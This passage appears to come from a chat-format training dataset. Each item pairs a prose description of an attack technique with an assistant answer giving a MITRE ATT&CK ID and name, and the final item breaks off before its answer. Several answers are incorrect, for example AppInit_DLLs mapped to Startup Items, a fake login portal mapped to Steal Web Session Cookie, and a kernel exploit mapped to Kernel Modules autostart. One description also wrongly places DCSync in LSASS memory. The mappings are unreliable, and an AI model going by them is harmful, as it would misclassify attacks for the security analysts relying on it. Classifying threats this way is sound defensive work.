        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape edge server metadata from a content delivery network to discover misconfigured origin servers."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor floods the target's operating system with malformed network packets, exhausting kernel resources and causing a system crash."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain adversary compromises the CI/CD pipeline of a SaaS provider, modifying the deployment scripts to include a remote access Trojan."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious user edited the Active Directory Trusts container, inserting a counterfeit trust relationship to a fake domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators harvested information from an internal knowledge‑base wiki, collecting system architecture diagrams that revealed network segmentation details."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the operating system's camera API to silently record video of the victim's environment and exfiltrate the footage."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses AppleScript to interact with the Finder, moving sensitive files to a hidden directory."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad actors modified the Group Policy to disable Windows Defender across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a replay attack on recorded SSH traffic to re‑establish an active session and execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware sends a request to the domain controller's NetLogon service to obtain password policy information."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a reverse SSH tunnel to a compromised EC2 instance using AWS Systems Manager Session Manager for persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a compromised Azure AD application's client secret to call the Microsoft Graph API and retrieve email messages from target accounts."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a compromised admin account to edit the site’s JavaScript, inserting a script that redirects visitors to a malicious site."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs a script that deletes the system's network interface configuration files and wipes the DNS cache history."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a cloud environment, the container orchestration service's API token is accessible through an unauthenticated endpoint, allowing attackers to pull secret keys from the container's secret store."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects code by allocating TLS slots in a remote process and modifies the thread’s start address to run the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro runs a harmless Office automation routine that only succeeds if Office is installed, serving as a test before deploying the main payload."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by adding a DLL to the AppInit_DLLs registry value, causing it to load with every process."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential theft operation concludes with a low‑level format that destroys all disk layout information."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor transforms stolen credentials into UTF‑8 encoded blobs prior to storage."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Print Processor configuration to execute a payload whenever a user prints a document."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software accesses the Keychain API to harvest saved credentials for email and messaging apps."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the hidden attribute of a scheduled task XML file placed in the Windows\\Tasks folder."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping routine accessed the LSA Secrets in the registry to obtain NTLM hashes for all logged‑on users."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit attempts to corrupt the system registry, leading to system instability."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider queries the HR management system for employee role data, extracting titles and reporting lines to identify potential phishing recipients."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised XML signing certificate, the attacker forged SAML tokens that were accepted by the service provider, enabling privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By targeting accounts that have 'Password Not Required' and disabled pre‑authentication, the attacker collects AS‑REP tickets and attempts brute‑force attacks on the extracted hash."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker downloaded a malicious macro‑enabled Office document that served as a dropper for a pre‑built exploit framework."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module issued the command \"dir C:\\Users\" to gather user folder information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder manipulates the system's cryptographic policy to permit MD5 certificates, allowing weaker hash functions in TLS handshakes."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a script that runs 'Get-Mailbox' PowerShell cmdlet to harvest mailbox contents."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opens an SSH channel to download additional payloads directly from the command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the Terminal Services DLL loading process to inject a credential‑stealing module during RDP logins."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s code queries the number of CPU cores and, if it is unusually low (e.g., 1 or 2), assumes it is running inside a sandbox and delays execution."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the boot.ini file, the attacker ensures the system boots into Safe Mode, preventing security tools from loading."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code used a PowerShell command to set the creation time of its payload to a random past date."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets up a rule in the victim's email client that archives all messages from a specific domain into a hidden archive folder, preventing the user from seeing them."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the space-after-filename technique to hide a malicious PowerShell script by naming it \"install.ps1 \" so it appears as a harmless installer."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection writes logs to a remote NFS share for later collection."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker overwrites the firmware of a network router, causing persistent malicious behavior."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code invoked the IBM Cloud command-line tool to provision a new Kubernetes cluster with exposed admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a malicious Outlook Transport Agent to intercept and modify outbound email messages."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public GitHub repositories for API keys and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits the Windows Component Object Model to invoke methods in another process, allowing them to control a privileged application remotely."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries generate a rogue certificate authority chain to issue trusted certificates for malicious services."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the Windows Management Instrumentation (WMI) service to launch a PowerShell script remotely."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary loads a malicious DLL into a legitimate process using the Windows API function SetWindowsHookEx."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain includes using WinRM to copy a malicious DLL to the target system and load it via remote PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a kernel module vulnerability to gain arbitrary code execution in kernel space, escalating to root."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed a malicious macro in a Word document that runs a PowerShell payload every time Office launches, leveraging the Office Test feature."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script was used to retrieve the configuration backup of a network router via HTTP API."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator gathers domain trust relationships by querying the AD forest for trust objects."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs dynamic resolution by contacting a known domain that returns the IP address of the actual command server."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators scrape open-source package registries such as npm and PyPI for exposed configuration files containing secrets."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor compromised a public forum and extracted user handles, location data, and associated email addresses."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks a compromised Slack workspace admin token to download all private channel histories."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised AWS IAM user to list and download secrets from AWS Secrets Manager for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tunnel data over SSH using port 2222, which is a non‑standard port for SSH services."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign collects user credentials via a fake login portal."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the registry to associate a malicious DLL with the Verclsid COM class, the threat actor triggers execution of the DLL when Verclsid is launched."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performed a DCSync attack to retrieve password hashes directly from the Domain Controller's LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy Mimikatz to perform a LSASS dump, extracting Kerberos tickets and password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a backdoor that spawned a Unix shell, allowing the attacker to issue arbitrary commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor placed a malicious DLL in %TEMP% and used rundll32.exe to load and execute it, leveraging system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider obtained the KRBTGT password hash and used it to issue a Kerberos ticket that impersonates any user, effectively creating a Golden Ticket."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves using undocumented Windows API calls to manipulate kernel objects and gain privileges."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code records user clicks and keystrokes by overlaying a fake login window to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module alters the permissions on the Windows Event Log files so that the malicious process can delete evidence of its actions."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a WMI event subscription to run a script that resides only in memory, achieving fileless execution."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email includes a compressed archive (RAR) with a malicious executable that runs upon extraction."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the “powershell -EncodedCommand” option to hide the actual commands being run."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program extracts connection strings from web.config files to gain database access."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed via a Windows Management Instrumentation event subscription that triggers when the system boots, persisting the payload."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign includes a step where the attacker performs Kerberoasting: they enumerate SPNs, obtain TGS tickets, and use hashcat to retrieve the plaintext passwords of service accounts."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor issues a WMI query: SELECT * FROM Win32_GroupUser to enumerate permission groups on the target."
            },
            {
                "role": "assistant",
